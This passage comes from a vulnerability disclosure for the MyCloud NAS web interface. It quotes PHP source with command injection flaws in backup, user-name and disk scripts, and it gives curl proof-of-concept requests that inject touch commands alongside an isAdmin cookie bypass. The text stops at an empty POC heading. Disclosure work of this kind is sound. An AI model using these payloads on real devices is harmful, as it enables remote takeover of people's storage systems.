18 $cmd = $_REQUEST['cmd']; 19 $RemoteBackupsAPI = new RemoteBackupsAPI; 20 21 switch ($cmd) { 22 case "getRecoverItems": 23 $RemoteBackupsAPI->getRecoverItems(); 24 break; 25 } 26 27 28 class RemoteBackupsAPI{ 29 public function getRecoverItems() 30 { 31 $xmlPath = "/var/www/xml/rsync_recover_items.xml"; 32 $jobName = $_REQUEST['jobName']; 33 34 @unlink($xmlPath); 35 36 $cmd = "rsyncmd -l \"$xmlPath\" -r \"$jobName\" >/dev/null"; 37 system($cmd);
On line 18 above the "$cmd" variable is used to determine the path of the code through the use of a switch statement (even though there is only 1 case). If "$cmd" is set to "getRecoverItems", we reach the getRecoverItems() method of the "RemoteBackupsAPI" class. Within this function, the "jobName" request variable (which can be a cookie, get or post value) is loaded into the "$jobName" local var (Ln. 32). From here, a pattern similar to all the rest of the command injection bugs on this page is used which consists of loading the user supplied value (within jobName) into the syntax of an argument for a command (Ln 36). The value is then stored in the "$cmd" variable and used in the PHP system() call on line 37.
POC
curl -i "http://<IP>/web/php/remoteBackups.php?cmd=getRecoverItems&jobName=%24(touch%20/tmp/a24)" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
/web/php/noHDD.php
A remote command execution vulnerability exists in the "php/noHDD.php" script within the MyCloud web interface.
Remote Command Execution
The "php/noHDD.php" file is vulnerable to a remote command execution bug allowing for a logged in user to execute commands.The following code illustrates the vulnerability.
php/noHDD.php
30 $cmd = $_REQUEST['cmd']; 31 $enable = $_REQUEST['enable']; //enable or disable 32 33 switch ($cmd) { 34 case "getDiskStatus": 35 getDiskStatus(); 36 break; 37 case "setSataPower": 38 setSataPower($enable); 39 break; 40 } 41 function setSataPower($enable) 42 { 43 $state = "ok"; 44 if(file_exists("/tmp/system_ready")) 45 { 46 $setCmd = "sata_power.sh \"$enable\""; 47 exec($setCmd,$retval);
In the above code, the "cmd" request variable (which can be from a get, post, or cookie) value is used to control the flow and is then stored in the local variable "$cmd". If the value supplied is "setSataPower", the function setSataPower() is called (Ln. 38) with the "$enable" variable as an argument. The "$enable" variable contains the value from the user supplied "enable" request variable (which can be from a get, post, or cookie). On line 46, "$enable" is stored as the first argument to a sh script "sata_power.sh" in the $setCmd variable. The "$setCmd" variable is then used as an argument to the PHP exec() function, which executes the command.
The above does depend on the /tmp/system_ready file existing.
POC
curl -i "http://<IP>/web/php/noHDD.php?cmd=setSataPower&enable=%24(touch%20/tmp/a25)" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
/web/php/modUserName.php
A remote command execution vulnerability exists in the "php/modUserName.php" script within the MyCloud web interface.
Remote Command Execution
The "php/modUserName.php" file is vulnerable to a remote command execution bug allowing for a logged in user to execute commands.The following code shows the vulnerability.
php/modUserName.php
14 if (isset($_POST['username']) && $_POST['username'] != "") 15 { 16 $username = $_POST['username']; 17 $oldName = $_POST['oldName']; 18 $ip = $_SERVER['REMOTE_ADDR']; 19 20 if (isset($_SESSION['username'])) 21 { 22 $sname = $_SESSION['username']; 23 $debugCmd="echo old:$sname >/tmp/debug"; 24 exec($debugCmd, $ret); 25 26 unset($_SESSION['username']); 27 $_SESSION['username'] = $username; 28 29 $sname = $_SESSION['username']; 30 $debugCmd="echo new:$sname >>/tmp/debug"; 31 exec($debugCmd, $ret); 32 33 session_write_close(); 34 35 //echo $_SESSION['username']; 36 } 37 else 38 { 39 $debugCmd="echo 'no session' >>/tmp/debug"; 40 exec($debugCmd, $ret); 41 } 42 43 //wto delete 44 $cmd = "wto -n \"$oldName\" -d "; 45 system($cmd,$retval); 46 47 //wto add 48 $cmd = "wto -n \"$username\" -i \"$ip\" -s"; 49 system($cmd,$retval);
The above path has two different command injection bugs within it, one through the use of the "username" post value and the other through the "oldName" post value.
On line 17, the "oldName" post value is moved into the "$oldname" local variable. On line 44, "$oldname" is put into the "$cmd" variable as an argument for the "wto" binary without any sanitization. Finally on line 45, a PHP "system()" call is made using the $cmd variable which results in command execution.
Similarly, in line 16, the "username" post value is moved into the "$username" local variable. On line 48, "$username" is put into the "$cmd" variable as an argument for the "wto" binary without any sanitization. Finally, on line 49, a "system()" call is made using the "$cmd" variable which results in code execution.
POC
curl -i "http://<IP>/web/php/modUserName.php" --data "username=%24(touch%20/tmp/a26)&oldName=a" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
A remote command execution vulnerability exists in the "php/chk_vv_sharename.php" script within the MyCloud web interface.
Remote Command Execution
The "php/chk_vv_sharename.php" file is vulnerable to a remote command execution bug allowing for a logged in user to execute commands.The following code shows the vulnerability.
php/chk_vv_sharename.php
17 $vv_sharename = $_GET['vv_sharename']; 18 19 if(empty($_GET["vv_sharename"])) 20 { 21 echo 'Parameter vv_sharename is missing.'; 22 return; 23 } 24 25 $cmd = "vvctl --check_share_name -s \"$vv_sharename\" >/dev/null"; 26 system($cmd);
On line 17 of the code above, the "vv_sharename" get variable is moved into the "$vv_sharename" local variable. Then, on line 19, a check is done on the get "vv_sharename" variable to verify it is not empty. If the value is empty the script returns with an error. Otherwise, "$vv_sharename" is stored in the "$cmd" variable as an argument to the "vvctl" binary. The "$cmd" variable is then executed on line 26, through the PHP "system()" call.
POC
curl -i "http://<IP>/web/php/chk_vv_sharename.php?vv_sharename=%24(touch%20/tmp/a27)" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
/web/google_analytics.php
A remote command execution bug exists in the "google_analytics.php" script within the MyCloud web interface.
Remote Command Execution
The "google_analytics.php" file is vulnerable to a remote command execution bug allowing for a logged in user to execute commands.The following code shows the vulnerability.
google_analytics.php
14 $action = $_POST['cmd']; 15 if ($action == "") $action = $_GET['cmd']; 16 17 $r = new stdClass(); 18 switch ($action) 19 { 20 case "set": 21 { 22 $opt = $_POST['opt']; 23 $arg = $_POST['arg']; 24 $run_cmd = sprintf("ganalytics --%s %s > /dev/null &", $opt, ($arg != "") ? $arg : ""); 25 26 system($run_cmd);
In the above, the posted "cmd" value is put into the local variable "$action", this value is used to control the path of the code. If the "$cmd" variable is set to "set", the code on lines 22-26 is used. On line 22, the post variable "opt" is stored into the local variable "$opt". The same is done on line 23 for the posted variable "arg" with the local variable "$arg". Following both assignments, the code on line 24 adds the values from "$opt" and "$arg" as arguments to the "ganalytics" binary and stores the string within the "$run_cmd" variable. Finally, the variable is passed as the first argument to the PHP "system()" call, and is then executed.
POC
curl -i "http://<IP>/web/google_analytics.php" --data "cmd=set&opt=%24(touch%20/tmp/a28)&arg=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \"" OR curl -i "http://<IP>/web/google_analytics.php" --data "cmd=set&opt=&arg=%24(touch%20/tmp/a29)" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
/web/dsdk/DsdkProxy.php
A remote command execution vulnerability exists in the "dsdk/DsdkProxy.php" script within the MyCloud web interface.
Remote Command Execution
The "dsdk/DsdkProxy.php" file is vulnerable to a remote command execution bug allowing for a logged in user to execute commands. The following code shows the vulnerability.
dsdk/DsdkProxy.php
12 $postOrPutRequest = ($_SERVER['REQUEST_METHOD'] == 'POST' || $_SERVER['REQUEST_METHOD'] == 'PUT'); 13 14 $curlCommand = 'sudo curl -i -s --unix-socket "/var/run/wdappmgr.sock" -X '; 15 $curlCommand .= $_SERVER['REQUEST_METHOD']; 16 $curlCommand .= ' '; 17 18 if ($postOrPutRequest) { 19 $curlCommand .= ' -d '; 20 $curlCommand .= '\''; 21 $curlCommand .= file_get_contents('php://input'); 22 $curlCommand .= '\''; 23 } 24 25 $curlCommand .= ' '; 26 $curlCommand .= 'http://localhost/'; 27 $curlCommand .= $endpoint; 28 29 if (!$postOrPutRequest && $_SERVER['QUERY_STRING'] != null) { 30 $curlCommand .= '?'; 31 $curlCommand .= $_SERVER['QUERY_STRING']; 32 } 33 $curlCommand .= ' 2>&1'; 34 35 $output = shell_exec($curlCommand);
In the above code, on line 12, a Boolean value is stored within the "$postOrPutRequest" variable. Following this, the script begins to create a string ("$curlCommand") with the contents of a "curl" command that will be used later (Ln 14). On line 18, the Boolean value within "$postOrPutRequest" is used to determine if the contents of the php://input is appended to the CURL command. This is where our command injection comes into play, the contents of "php://input" are not sanitized and are stored directly in the CURL command within "$curlCommand". After a few more modifications (but no sanitization), the contents of "$curlCommand" are executed through a call to shell_exec() (Ln 35).
POC
curl -i "http://<IP>/web/dsdk/DsdkProxy.php" --data "';touch /tmp/a30;'" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
/web/backups/usb_backup.php
The "backups/usb_backup.php" file contains multiple paths which lead to remote command execution. The following code shows the vulnerability.
Remote Command Execution
A remote command execution bug exists in the usb_backup functionality of the MyCloud web interface when the "action" variable is set to "go_restore".
backups/usb_backup.php
... 109 function stop_job($taskname) 110 { 111 //Stop job 112 $cmd = sprintf("usb_backup -a '%s' -c jobstop", $taskname); 113 pclose(popen($cmd, 'r')); 114 sleep(2); 115 116 $pname = sprintf("/tmp/r_%s!_usb", $taskname); 117 file_put_contents($pname, "-10"); //Cancel 118 } ... ... 242 case "go_restore": 243 { 244 $taskname = $_POST['taskname']; 245 $restore_source = $_POST['restore_source']; 246 247 stop_job($taskname); 248 249 $pname = sprintf("/tmp/r_%s!_usb", $taskname); 250 file_put_contents($pname, "0"); //Cancel 251 252 $list_xml_file = sprintf("/tmp/r_usb!_restore_imcremental_%s.xml", $taskname); 253 if ($restore_source == "")//Sync and Copy 254 $cmd = sprintf("usb_backup -a '%s' -o '%s' -c jobrs &", $taskname, $list_xml_file); 255 else 256 $cmd = sprintf("usb_backup -a '%s' -o '%s' -F %s -c jobrs &", $taskname, $list_xml_file, $_POST['restore_source']); 257 pclose(popen($cmd, 'r'));
In the above code, there are multiple places where a command injection vulnerability can be exploited. The first being the call to stop_job on line 247 with the posted variable "taskname". The "$taskname" variable is passed to the stop_job function and is stored in the proper syntax within the $cmd variable as an argument to the "usb_backup" binary (Ln. 112). Then, on line 113, the $cmd variable is executed through the use of a PHP "popen()" call.
Then, on line 256, the posted variable "restore_source" is stored in the $cmd variable as an argument for the "usb_backup" binary. Then, the variable is used on line 257 through the PHP "popen()" call.
POC
curl -i "http://<IP>/web/backups/usb_backup.php" --data "action=go_restore&taskname=';touch%20/tmp/a31;'&restore_source=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \"" OR curl -i "http://<IP>/web/backups/usb_backup.php" --data "action=go_restore&taskname=&restore_source=%24(touch%20/tmp/a32)" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
Remote Command Execution
A remote command execution bug exists in the usb_backup functionality of the MyCloud web interface when the "action" variable is set to "stop_jobs".
backups/usb_backup.php
231 case "stop_jobs": 232 { 233 $taskname = $_POST['taskname']; 234 stop_job($taskname); 235 236 $r = get_list(); 237 $r->success = true; 238 echo json_encode($r); 239 } 240 break;
The above code contains a bug identical to the bug mentioned before it, in that through a separate path (using the "stops_jobs" action) the "taskname" posted variable is passed to the stop_job() method. This puts the value of the variable as an argument for the "usb_backup" binary.
POC
curl -i "http://<IP>/web/backups/usb_backup.php" --data "action=stop_jobs&taskname=';touch%20/tmp/a33;'" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
Remote Command Execution
A remote command execution bug exists in the usb_backup functionality of the MyCloud web interface when the "action" variable is set to "del".
backups/usb_backup.php
196 case "del": 197 { 198 $taskname = $_POST['taskname']; 199 200 stop_job($taskname); 201 202 $cmd = sprintf("usb_backup -a '%s' -c jobdel", $taskname); 203 pclose(popen($cmd, 'r')); 204 205 $pname = sprintf("/tmp/r_%s!_usb", $taskname); 206 @unlink($pname); 207 208 $r = get_list(); 209 $r->success = true; 210 echo json_encode($r); 211 } 212 break;
The above code contains paths to two different command execution bugs, one involving the previously mentioned "stop_job()" method, which through the posted variable "taskname" is executed in a PHP "popen()" call and another involving the same variable "taskname" in a separate PHP "popen()" call. Because we've detailed the command execution bug within the "stop_job" method a few times above, we'll just skip straight to the popen() bug.
On line 202, the posted variable "taskname" is stored in the $cmd variable as an argument for the usb_backup binary. Then, on line 203, the $cmd variable is passed as an argument to the popen() method, which executes the command within the $cmd variable.
POC
curl -i "http://<IP>/web/backups/usb_backup.php" --data "action=del&taskname=';touch%20/tmp/a34;'" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
Remote Command Execution
A remote command execution vulnerability exists in the usb_backup functionality of the MyCloud web interface when the "action" variable is set to "go_jobs".
backups/usb_backup.php
214 case "go_jobs": 215 { 216 $taskname = $_POST['taskname']; 217 218 $pname = sprintf("/tmp/r_%s!_usb", $taskname); 219 @unlink($pname); 220 221 $cmd = sprintf("usb_backup -a '%s' -c jobrun &", $taskname); 222 pclose(popen($cmd, 'r')); 223 sleep(2); 224 225 $r = get_list(); 226 $r->success = true; 227 echo json_encode($r); 228 } 229 break;
In the above code, on line 216 the posted variable "taskname" is stored within the PHP "$taskname" variable. On line 221, the "$taskname" variable value is then stored within the "$cmd" variable in the syntax as an argument for the "usb_backup" binary. Then, on line 222, the "$cmd" variable is executed through the use of the PHP "popen()" function.
POC
curl -i "http://<IP>/web/backups/usb_backup.php" --data "action=go_jobs&taskname=';touch%20/tmp/a35;'" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
Remote Command Execution
A remote command execution vulnerability exists in the "usb_backup" functionality of the MyCloud web interface when the "action" variable is set to "modify".
backups/usb_backup.php
164 case "modify": 165 { 166 $taskname = $_POST['taskname']; 167 $category = $_POST['category']; //1:USB->NAS,2:NAS->USB 168 $source_dir = $_POST['source_dir']; 169 $dest_dir = $_POST['dest_dir']; 170 $backup_type = $_POST['backup_type']; 171 $auto_start = $_POST['auto_start']; 172 $old_taskname = $_POST['old_taskname']; 173 174 stop_job($taskname); 175 176 $cmd = sprintf("usb_backup -a '%s' -x '%s' -m %s -t %s -d %s -A %s -c jobedit", 177 $taskname, $old_taskname, $backup_type, $category, escapeshellarg(htmlstr_decode($dest_dir)), $auto_start); 178 179 foreach ($source_dir as $val) 180 $cmd .= sprintf(" -s %s", escapeshellarg(htmlstr_decode($val))); 181 182 pclose(popen($cmd, 'r')); 183 184 //Start job 185 $cmdS = sprintf("usb_backup -a '%s' -c jobrun &", $taskname); 186 pclose(popen($cmdS, 'r')); 187 sleep(2); 188 189 $r = get_list(); 190 $r->cmd = $cmd; 191 $r->success = true; 192 echo json_encode($r); 193 } 194 break;
The above code is slightly unique compared to a majority of all of the other code segments on this page. This particular code contains some sanitization, in particular for the posted variable "dest_dir" (Ln. 177) and the posted array source_dir (Ln. 179-180). The other posted values however are not sanitized and are all used within a PHP "popen()" call without any sanitization, allowing for command injection. In particular the posted variables "taskname", "category", "backup_type", "autostart", and "old_taskname" are stored within the $cmd variable as arguments for the usb_backup binary (Ln. 176-177) and are then called through the use of a PHP "popen()" call on line 182.
The posted taskname variable is involved in two more PHP "exec" calls. The variable is used as an argument to the already mentioned vulnerable function "stop_job()" (Ln. 174) allowing for command injection, as well as in an argument for "usb_backup" binary (Ln. 185) which is then executed through a popen() call on line 186.
POC
curl -i "http://<IP>/web/backups/usb_backup.php" --data "action=modify&taskname=';touch%20/tmp/a36;'&category=&source_dir=&dest_dir=&backup_type=&auto_start=&old_taskname=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \"" OR curl -i "http://<IP>/web/backups/usb_backup.php" --data "action=modify&taskname=&category=%24(touch%20/tmp/a37)&source_dir=&dest_dir=&backup_type=&auto_start=&old_taskname=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \"" OR curl -i "http://<IP>/web/backups/usb_backup.php" --data "action=modify&taskname=&category=&source_dir=&dest_dir=&backup_type=%24(touch%20/tmp/a38)&auto_start=&old_taskname=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \"" OR curl -i "http://<IP>/web/backups/usb_backup.php" --data "action=modify&taskname=&category=&source_dir=&dest_dir=&backup_type=&auto_start=%24(touch%20/tmp/a39)&old_taskname=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \"" OR curl -i "http://<IP>/web/backups/usb_backup.php" --data "action=modify&taskname=&category=&source_dir=&dest_dir=&backup_type=&auto_start=&old_taskname=';touch%20/tmp/a40;'" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
Remote Command Execution
A remote command execution vulnerability exists in the usb_backup functionality of the MyCloud web interface when the "action" variable is set to "create".
backups/usb_backup.php
132 case "create": 133 { 134 $taskname = $_POST['taskname']; 135 $category = $_POST['category']; //1:USB->NAS,2:NAS->USB 136 $source_dir = $_POST['source_dir']; 137 $dest_dir = $_POST['dest_dir']; 138 $backup_type = $_POST['backup_type']; 139 $auto_start = $_POST['auto_start']; 140 141 $cmd = sprintf("usb_backup -a '%s' -m %s -t %s -d %s -A %s -c jobadd", 142 $taskname, $backup_type, $category, escapeshellarg(htmlstr_decode($dest_dir)), $auto_start); 143 144 foreach ($source_dir as $val) 145 $cmd .= sprintf(" -s %s", escapeshellarg(htmlstr_decode($val))); 146 147 pclose(popen($cmd, 'r')); 148 $pname = sprintf("/tmp/r_usb!_%s", $taskname); 149 @unlink($pname); 150 151 stop_job($taskname); 152 153 //Start job 154 $cmd = sprintf("usb_backup -a '%s' -c jobrun &", $taskname); 155 pclose(popen($cmd, 'r')); 156 sleep(2); 157 158 $r = get_list(); 159 $r->success = true; 160 echo json_encode($r); 161 } 162 break;
The above code is slightly unique compared to a majority of all of the other code segments on this page. This code contains some sanitization, in particular for the posted variable "dest_dir" (Ln. 142) and the posted array source_dir (Ln. 144-145). However the other posted values are not sanitized and are all used within a PHP "popen()" call without any sanitization allowing for command injection. In particular the posted variables "taskname", "category", "backup_type", and "autostart" are stored within the "$cmd" variable as arguments for the usb_backup binary (Ln. 141-142) and are then called through the use of a PHP "popen()" on line 147.
The posted taskname variable is involved in two more PHP "exec" calls. The variable is used as an argument to the already mentioned vulnerable function "stop_job()" (Ln. 151) allowing for command injection, as well as as an argument for "usb_backup" binary (Ln. 154) which is then executed through a popen() call on line 155.
POC
curl -i "http://<IP>/web/backups/usb_backup.php" --data "action=create&taskname=';touch%20/tmp/a41;'&category=&source_dir=&dest_dir=&backup_type=&auto_start=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \"" OR curl -i "http://<IP>/web/backups/usb_backup.php" --data "action=create&taskname=&category=%24(touch%20/tmp/a42)&source_dir=&dest_dir=&backup_type=&auto_start=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \"" OR curl -i "http://<IP>/web/backups/usb_backup.php" --data "action=create&taskname=&category=&source_dir=&dest_dir=&backup_type=%24(touch%20/tmp/a43)&auto_start=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \"" OR curl -i "http://<IP>/web/backups/usb_backup.php" --data "action=create&taskname=&category=&source_dir=&dest_dir=&backup_type=&auto_start=%24(touch%20/tmp/a44)" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
backups/internal_backup.php
Remote Command Execution
A remote command execution bug exists in the internal_backup functionality of the MyCloud web interface when the "action" variable is set to "create".
backups/internal_backup.php
135 case "create": 136 { 137 $taskname = $_POST['taskname']; 138 $source_dir = $_POST['source_dir']; 139 $dest_dir = $_POST['dest_dir']; 140 $backup_type = $_POST['backup_type']; 141 142 $schedule = $_POST['schedule']; 143 $schedule_type = $_POST['backup_sch_type']; 144 $hour = $_POST['hour']; 145 $week = $_POST['week']; 146 $day = $_POST['day']; 147 148 $sch_command = ""; 149 if ($schedule == "0")$sch_command = "0,1,1"; 150 else if ($schedule_type == "3")$sch_command = "3,1,".$hour; //daily 151 else if ($schedule_type == "2")$sch_command = "2,".$week.",".$hour; //weekly 152 else if ($schedule_type == "1")$sch_command = "1,".$day.",".$hour; //monthly 153 154 $cmd = sprintf("internal_backup -a \"%s\" -m %s -d %s -r %s -c jobadd", 155 $taskname, $backup_type, escapeshellarg(htmlstr_decode($dest_dir)), $sch_command); 156 157 foreach ($source_dir as $val) 158 $cmd .= sprintf(" -s %s", escapeshellarg(htmlstr_decode($val))); 159 160 $cmd .= " >/dev/null 2>&1"; 161 162 /* 163 $file = '/tmp/cgi_internalbackup.txt'; 164 // Open the file to get existing content 165 $current = file_get_contents($file); 166 // Append a new person to the file 167 $current .= $cmd; 168 // Write the contents back to the file 169 file_put_contents($file, $current); 170 */ 171 172 system($cmd); 173 //pclose(popen($cmd, 'r')); 174 $pname = sprintf("/tmp/r_internal!_%s", $taskname); 175 //@unlink($pname); 176 system("rm ".$pname); 177 178 stop_job($taskname); 179 180 //Start job 181 $cmd = sprintf("(internal_backup -a '%s' -c jobrun >/dev/null 2>&1)&", $taskname); 182 system($cmd); 183 //pclose(popen($cmd, 'r')); 184 //sleep(2); 185 186 $r = get_list(); 187 $r->success = true; 188 echo json_encode($r); 189 } 190 break;
The above code contains multiple different variables left unsanitized that can be used for command injection.
The code begins with the posted variables being stored into local variables (Ln. 137-146). Following, a set of conditionals are used to create a local variable "$sch_command" with the proper format for the "-r" argument for the "internal_backup" binary (Ln. 149-152). During this process, based on the value of the "$schedule" variable, the posted values for "hour", "week" and "day" are put into the the "$sch_command" variable. This variable is then used on lines 144-145 to create a command which executes the "internal_backup" binary along with some of the posted variables. The following variables created from posted values are added without any sanitization to the internal_backup command: "$backup_type", "$taskname", and "$sch_command". The "$dest_dir" variable is also added but is sanitized through the use of PHP's "escapeshellarg()" function. More values are added to the "$cmd" variable storing the "internal_backup" command on lines 157-160, but they are either sanitized or aren't user supplied. Finally, on line 172, the "$cmd" variable is executed through the use of a PHP "system()" function call.
Another path to command execution can be seen starting on line 174, on this line, a file name "/tmp/r_internal!_" has the value of the local variable "$taskname" appended to it and the result is stored in "$pname". This variable contains an un-sanitized value created from a posted user supplied variable. Then, on line 176, the "$pname" value is appended to an "rm" command and is executed through the use of a PHP "system()" call without sanitization. This allows for another command injection path through the use of "$taskname".
Yet another path to command execution can be seen starting on line 181. In this line the "$taskname" local variable (containing user supplied input) is inserted into a string in the "$cmd" variable containing the syntax for the "internal_backup" binary as its "-a" argument. Then, on line 182, the PHP "system()" function is called with the "$cmd" variable as its first argument, executing the command within. This is all done without any sanitization being done on "$taskname", which contains a user supplied input.
Finally, another path to command execution leveraging the "$taskname" variable can be seen starting on line 178. This line contains a call into the stop_job function with the taskname as its only argument. The code for the "stop_job()" call can be seen below.
backups/internal_backup.php
112 function stop_job($taskname) 113 { 114 //Stop job 115 $cmd = sprintf("internal_backup -a '%s' -c jobstop >/dev/null 2>&1", $taskname); 116 pclose(popen($cmd, 'r')); 117 sleep(2); 118 119 $pname = sprintf("/tmp/r_%s!_internal", $taskname); 120 file_put_contents($pname, "-10"); //Cancel 121 }
In the above function, we can see that the only argument to the function "$taskname" is put into the proper syntax for the "internal_backup" command for the "-a" argument (Ln. 115) and stored in the variable "$cmd". Then, on line 116, the "$cmd" local variable is passed to the PHP "popen()" function executing the command within. The above is all concluded without any sanitization done on the user supplied input.
POC
curl -i "http://<IP>/web/backups/internal_backup.php" --data "action=create&taskname=%24(touch%20/tmp/a45)&source_dir=&dest_dir=&backup_type=&schedule=&backup_sch_type=&hour=&week=&day=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \"" OR curl -i "http://<IP>/web/backups/internal_backup.php" --data "action=create&taskname=&source_dir=&dest_dir=&backup_type=%24(touch%20/tmp/a46)&schedule=&backup_sch_type=&hour=&week=&day=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \"" OR curl -i "http://<IP>/web/backups/internal_backup.php" --data "action=create&taskname=&source_dir=&dest_dir=&backup_type=&schedule=&backup_sch_type=3&hour=%24(touch%20/tmp/a47)&week=&day=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \"" OR curl -i "http://<IP>/web/backups/internal_backup.php" --data "action=create&taskname=&source_dir=&dest_dir=&backup_type=&schedule=&backup_sch_type=2&hour=&week=%24(touch%20/tmp/a48)&day=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \"" OR curl -i "http://<IP>/web/backups/internal_backup.php" --data "action=create&taskname=&source_dir=&dest_dir=&backup_type=&schedule=&backup_sch_type=1&hour=&week=&day=%24(touch%20/tmp/a49)" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
Remote Command Execution
A remote command execution vulnerability exists in the internal_backup functionality of the MyCloud web interface when the "action" variable is set to "modify".
backups/internal_backup.php
192 case "modify": 193 { 194 $taskname = $_POST['taskname']; 195 $source_dir = $_POST['source_dir']; 196 $dest_dir = $_POST['dest_dir']; 197 $backup_type = $_POST['backup_type']; 198 $old_taskname = $_POST['old_taskname']; 199 200 $schedule = $_POST['schedule']; 201 $schedule_type = $_POST['backup_sch_type']; 202 $hour = $_POST['hour']; 203 $week = $_POST['week']; 204 $day = $_POST['day']; 205 206 $sch_command = ""; 207 if ($schedule == "0")$sch_command = "0,1,1"; 208 else if ($schedule_type == "3")$sch_command = "3,1,".$hour; //daily 209 else if ($schedule_type == "2")$sch_command = "2,".$week.",".$hour; //weekly 210 else if ($schedule_type == "1")$sch_command = "1,".$day.",".$hour; //monthly 211 212 stop_job($taskname); 213 214 $cmd = sprintf("internal_backup -a \"%s\" -x \"%s\" -m %s -d %s -r %s -c jobedit", 215 $taskname, $old_taskname, $backup_type, escapeshellarg(htmlstr_decode($dest_dir)), $sch_command); 216 foreach ($source_dir as $val) 217 $cmd .= sprintf(" -s %s", escapeshellarg(htmlstr_decode($val))); 218 219 $cmd .= " >/dev/null 2>&1"; 220 system($cmd); 221 //pclose(popen($cmd, 'r')); 222 223 //Start job 224 if ($schedule == "0") 225 { 226 $cmdS = sprintf("(internal_backup -a '%s' -c jobrun >/dev/null 2>&1)&", $taskname); 227 system($cmdS); 228 } 229 230 //pclose(popen($cmdS, 'r')); 231 //sleep(2); 232 233 $r = get_list(); 234 $r->cmd = $cmd; 235 $r->success = true; 236 echo json_encode($r); 237 } 238 break;
The above code contains multiple different variables left unsanitized that can be used for command injection.
The code above begins with the posted variables being stored into local variables (Ln. 194-204). Following, a set of conditionals are used to create a local variable "$sch_command" with the proper format for the "-r" argument for the "internal_backup" binary (Ln. 206-210). During this process, based on the value of the "$schedule" variable, the posted values for "hour", "week" and "day" are put into the the "$sch_command" variable. This variable is then used on lines 214-215 to create a command which executes the "internal_backup" binary along with some of the posted variables. The following variables created from posted values are added without any sanitization to the internal_backup command: "$old_taskname", "$taskname", "backup_type", and "$sch_command". The "$dest_dir" variable is also added but, is sanitized through the use of PHP's "escapeshellarg()" function. More values are added to the "$cmd" variable storing the "internal_backup" command on lines 216-219, but they are either sanitized or aren't user supplied. Finally on line 220, the "$cmd" variable is executed through the use of a PHP "system()" function call.
Another path to command injection exists in an identical manner as the "create" path within the same PHP file. This involves the "stop_job" function along with the "$taskname" local variable (Ln. 212), more info on the vulnerability can be found above.
Finally, one last path to command injection can be found starting on line 226. Here, we have the "$taskname" variable, which contains user supplied data, inserted into the "$cmdS" variable with the syntax as an argument for the "internal_backup" binary without sanitization. Following, on line 227, the "$cmdS" command is executed through the use of a PHP "system()" call allowing for command injection.
POC
curl -i "http://<IP>/web/backups/internal_backup.php" --data "action=modify&taskname=&source_dir=&dest_dir=&backup_type=%24(touch%20/tmp/a50)&hour=&week=&day=&old_taskname=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \"" OR curl -i "http://<IP>/web/backups/internal_backup.php" --data "action=modify&taskname=%24(touch%20/tmp/a51)&source_dir=&dest_dir=&backup_type=&schedule=&backup_sch_type=&hour=&week=&day=&old_taskname=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \"" OR curl -i "http://<IP>/web/backups/internal_backup.php" --data "action=modify&taskname=&source_dir=&dest_dir=&backup_type=%24(touch%20/tmp/a52)&schedule=&backup_sch_type=&hour=&week=&day=&old_taskname=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \"" OR curl -i "http://<IP>/web/backups/internal_backup.php" --data "action=modify&taskname=&source_dir=&dest_dir=&backup_type=&schedule=&backup_sch_type=3&hour=%24(touch%20/tmp/a53)&week=&day=&old_taskname=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \"" OR curl -i "http://<IP>/web/backups/internal_backup.php" --data "action=modify&taskname=&source_dir=&dest_dir=&backup_type=&schedule=&backup_sch_type=2&hour=&week=%24(touch%20/tmp/a54)&day=&old_taskname=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \"" OR curl -i "http://<IP>/web/backups/internal_backup.php" --data "action=modify&taskname=&source_dir=&dest_dir=&backup_type=&schedule=&backup_sch_type=1&hour=&week=&day=%24(touch%20/tmp/a55)&old_taskname=" --cookie "isAdmin=1;username=admin\" -s 1337 -c \"" OR curl -i "http://<IP>/web/backups/internal_backup.php" --data "action=modify&taskname=&source_dir=&dest_dir=&backup_type=&schedule=&backup_sch_type=1&hour=&week=&day=&old_taskname=%24(touch%20/tmp/a56)" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
Remote Command Execution
A remote command execution bug exists in the internal_backup functionality of the MyCloud web interface when the "action" variable is set to "del".
backups/internal_backup.php
240 case "del": 241 { 242 $taskname = $_POST['taskname']; 243 244 stop_job($taskname); 245 246 $cmd = sprintf("internal_backup -a '%s' -c jobdel >/dev/null 2>&1", $taskname); 247 system($cmd); 248 //pclose(popen($cmd, 'r')); 249 250 $pname = sprintf("/tmp/r_%s!_internal", $taskname); 251 @unlink($pname); 252 253 $r = get_list(); 254 $r->success = true; 255 echo json_encode($r); 256 } 257 break;
In the above, we only have 1 posted value used, which is "taskname". On line 242, we can see that the posted variable is stored into a local variable "$taskname". Then, on line 246, this variable is used to craft a command stored in "$cmd" which executes the "internal_backup" binary with the local variable "$taskname" within the "-a" argument. Then, on line 247, the PHP "system()" function is called with "$cmd" as an argument, executing the command. This is all done without any sanitization on the user supplied value allowing for command injection.
In the above there is also a call to the "stop_job" function with the "$taskname" variable allowing for command injection in a path identical to the "create" and "modify" "stop_job" paths mentioned above.
POC
